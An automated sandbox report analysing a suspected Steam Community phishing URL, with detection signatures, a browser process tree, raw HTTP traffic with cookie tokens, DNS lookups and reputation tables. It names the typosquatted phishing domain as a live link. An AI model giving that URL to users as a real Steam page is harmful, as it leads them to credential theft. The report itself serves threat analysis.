Edit tour

Windows Analysis Report
https://scenmconmmumnlty.com/close/geting/active

Overview

General Information

Sample URL:	https://scenmconmmumnlty.com/close/geting/active
Analysis ID:	1521720
Tags:	openphish
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2356,i,7528704371300364564,4643996600379714484,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://scenmconmmumnlty.com/close/geting/active" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5512 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1996,i,6974345581934381203,15339323610692304892,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /714a7a54750654005d0c4a071403255606425956041702775155440c1252 HTTP/1.1Host: scenmconmmumnlty.comConnection: keep-aliveContent-Length: 73Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.7FwGvQuffRuRMmMe-9IzqtSxnzc4vOCo.OHHxsye8vXgoBs21.U2goMglmMnfaZ3w18AYfRq5j7u3YTTj9kfxVSgGOw_fXivu-X_7cLHyQaQCFkIfJDytEO8sJYhdXjin72r6h8GLiebnQsoDYhYW6wwKuEiEA4kJjs-SVOOMR7V_1UEE-oEdHn1s2RITTk4o2uUrY72Hjz9lIrjh71SRdDVLac9gtYrL-FV67_lSnU1V4mwNsBuhMkeU0MmrNicqAx_rPmgVLtlNWC8Lw5NCCz2n7UDkPGTTGj7Ro.dJJoGrF4Bw7qrsf3RfMvdw; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjUzNDU4NzdjMWM5YjExYzFjNjA4YzIwMTA2MGVkN2I1Iiwic2VydmljZSI6IlN0ZWFtIn0.5VcVK6mtwkVDMR8HF0lQwiEaGSuFpCUuu5NzPcptdd8; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.rsmGHZ_jvhNbwacZdaCnkV8jtrltf47c.4fNMUpKiA26HQQZ2.stGN3efd8ZlAZUL-qFZIX2Jd9-CDmdPCPkwzIXovdLlbXhxhI6D-M93kYK-Ss2Z3DJZaEBLuH54ccBJzoIjzIhxG.jwsb95q6-Nh07pQ61Jj15Q

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Sep 2024 00:41:42 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originEtag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg"Origin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsVary: Accept-EncodingX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Cache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2FaFjlv2IdLdpf5fJTV0f5YHakQXF7l8Pd7srjfzXO1mjHSJZvDw93%2BfwzaZVhILY2cwKImd7dT%2F%2F80L5H%2BIPTLTwIgfY1O6X2%2BDtuRnJqIMHomqQ7VX5UkZpKcS0uZabBLiKRuJMw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ca7edd92d3d42d8-EWR

Source: https://scenmconmmumnlty.com/close/geting/active	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://scenmconmmumnlty.com/close/geting/active	HTTP Parser: Title: Sign In does not match URL
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: Title: Sign In does not match URL

Source: https://scenmconmmumnlty.com/close/geting/active	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found

Source: https://scenmconmmumnlty.com/close/geting/active	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_270.2.dr, chromecache_426.2.dr, chromecache_509.2.dr	String found in binary or memory:   <span aria-hidden="true">\|</span>  <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.facebook.com%2FSteam" target="_blank" rel=" noopener"><img src="https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png" alt="Facebook"> Steam</a> equals www.facebook.com (Facebook)
Source: chromecache_281.2.dr, chromecache_480.2.dr, chromecache_594.2.dr, chromecache_363.2.dr	String found in binary or memory: var youtubeurl = location.protocol + '//www.youtube.com/embed/' + videoid + '?showinfo=0&autohide=1&fs=1&hd=1&modestbranding=1&rel=0&showsearch=0&wmode=direct&autoplay=1'; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: scenmconmmumnlty.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: store.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: recaptcha.net
Source: global traffic	DNS traffic detected: DNS query: store.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: cdn.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: fonts.cdnfonts.com
Source: global traffic	DNS traffic detected: DNS query: community.cloudflare.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: community.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: login.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: api.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: help.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: shared.akamai.steamstatic.com

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2356,i,7528704371300364564,4643996600379714484,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://scenmconmmumnlty.com/close/geting/active"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1996,i,6974345581934381203,15339323610692304892,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2356,i,7528704371300364564,4643996600379714484,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1996,i,6974345581934381203,15339323610692304892,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Link
help.steampowered.com	1%	Virustotal	Browse
community.cloudflare.steamstatic.com	0%	Virustotal	Browse
cdn.akamai.steamstatic.com	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
fonts.cdnfonts.com	0%	Virustotal	Browse
scenmconmmumnlty.com	9%	Virustotal	Browse
recaptcha.net	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
a.nel.cloudflare.com	0%	Virustotal	Browse
api.steampowered.com	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
login.steampowered.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
store.steampowered.com	0%	Virustotal	Browse
community.akamai.steamstatic.com	0%	Virustotal	Browse
shared.akamai.steamstatic.com	0%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse
cdn.jsdelivr.net	0%	Virustotal	Browse
store.akamai.steamstatic.com	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	0%	URL Reputation	safe
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	0%	Virustotal		Browse
https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.png	0%	Virustotal		Browse
https://steamcommunity.com/chat/group/	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unknown.svg	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english	0%	Virustotal		Browse
https://cdn.akamai.steamstatic.com/store/about/icon-steamos.svg	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	0%	Virustotal		Browse
https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	0%	Virustotal		Browse
https://github.com/jquery/jquery-color	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	0%	Virustotal		Browse
https://steam.tv	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	Virustotal		Browse
https://help.steampowered.com/th/	0%	Virustotal		Browse
https://cdn.akamai.steamstatic.com/store/about/icon-broadcasts.svg	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_6100_crown.png	0%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	0%, Virustotal, Browse	unknown
fonts.cdnfonts.com	104.21.72.124	true	false	0%, Virustotal, Browse	unknown
api.steampowered.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
help.steampowered.com	104.102.49.254	true	false	1%, Virustotal, Browse	unknown
scenmconmmumnlty.com	188.114.96.3	true	false	9%, Virustotal, Browse	unknown
cdn.akamai.steamstatic.com	2.16.168.4	true	false	0%, Virustotal, Browse	unknown
community.cloudflare.steamstatic.com	172.64.145.151	true	false	0%, Virustotal, Browse	unknown
recaptcha.net	142.250.74.195	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.2.137	true	false	1%, Virustotal, Browse	unknown
store.steampowered.com	95.101.149.47	true	false	0%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	0%, Virustotal, Browse	unknown
www.google.com	172.217.18.4	true	false	0%, Virustotal, Browse	unknown
store.akamai.steamstatic.com	95.101.54.217	true	false	0%, Virustotal, Browse	unknown
login.steampowered.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
community.akamai.steamstatic.com	2.16.168.12	true	false	0%, Virustotal, Browse	unknown
shared.akamai.steamstatic.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
cdn.jsdelivr.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Name	Source	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/chat/group/	chromecache_281.2.dr, chromecache_480.2.dr, chromecache_594.2.dr, chromecache_363.2.dr	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/login/?redir=login%2F%3F14__global-header&redir_ssl=1&snr=1_60_4__glo	chromecache_270.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unknown.svg	chromecache_550.2.dr	false	0%, Virustotal, Browse	unknown
https://checkout.steampowered.com/checkout/submitproofofpurchase	chromecache_261.2.dr, chromecache_569.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english	chromecache_270.2.dr, chromecache_426.2.dr, chromecache_509.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	chromecache_437.2.dr, chromecache_582.2.dr	false	0%, Virustotal, Browse	unknown
https://github.com/jquery/jquery-color	chromecache_222.2.dr, chromecache_549.2.dr	false	0%, Virustotal, Browse	unknown
https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications	chromecache_261.2.dr, chromecache_569.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	chromecache_550.2.dr	false	0%, Virustotal, Browse	unknown
https://steam.tv	chromecache_434.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	chromecache_550.2.dr	false	0%, Virustotal, Browse	unknown
https://help.steampowered.com/th/	chromecache_464.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_6100_crown.png	chromecache_550.2.dr	false	0%, Virustotal, Browse	unknown
https://support.google.com/recaptcha/#6175971	chromecache_286.2.dr, chromecache_309.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_4.png?v=2	chromecache_550.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-RegularItalic.ttf?v=4.015	chromecache_369.2.dr, chromecache_370.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_halftone_2.png?v=2	chromecache_550.2.dr	false		unknown
https://cdn.akamai.steamstatic.com/store/promo/newstore2016/homepage_long_01.jpg?v=1);	chromecache_364.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/friendindicator_small.png	chromecache_550.2.dr	false		unknown
http://api.jqueryui.com/size-effect/	chromecache_222.2.dr, chromecache_549.2.dr	false		unknown
https://support.google.com/recaptcha	chromecache_309.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/chat/	chromecache_281.2.dr, chromecache_480.2.dr, chromecache_594.2.dr, chromecache_363.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=en	chromecache_595.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_hexagons.png	chromecache_550.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=z	chromecache_270.2.dr, chromecache_426.2.dr, chromecache_509.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/responsive/local_menu_hamburger.png	chromecache_290.2.dr, chromecache_443.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unsupported.svg	chromecache_550.2.dr	false		unknown
https://help.steampowered.com/vi/	chromecache_464.2.dr	false		unknown
https://help.steampowered.com/de/	chromecache_464.2.dr	false		unknown
https://help.steampowered.com/fi/	chromecache_464.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_space.png	chromecache_550.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_1.png?v=2	chromecache_550.2.dr	false		unknown
https://store.steampowered.com/points/shop/?snr=1_14_4__global-responsive-menu	chromecache_426.2.dr	false		unknown
https://store.steampowered.com/friends/recommendgame	chromecache_232.2.dr, chromecache_234.2.dr	false		unknown
https://help.steampowered.com/ru/login/logout/	chromecache_261.2.dr, chromecache_569.2.dr	false		unknown
https://help.steampowered.com/ru/login/getrsakey/	chromecache_261.2.dr, chromecache_569.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english	chromecache_595.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxCancelSteamChinaAccessDeletion/	chromecache_261.2.dr, chromecache_569.2.dr	false		unknown
http://www.robertpenner.com/easing)	chromecache_222.2.dr, chromecache_549.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithSteamHardware	chromecache_464.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/header/inbox_moderator_message.png	chromecache_550.2.dr	false		unknown
https://store.steampowered.com/login/?redir=about%2F%3Fsnr%3D1_14_4__global-header&redir_ssl=1&snr=1	chromecache_426.2.dr	false		unknown
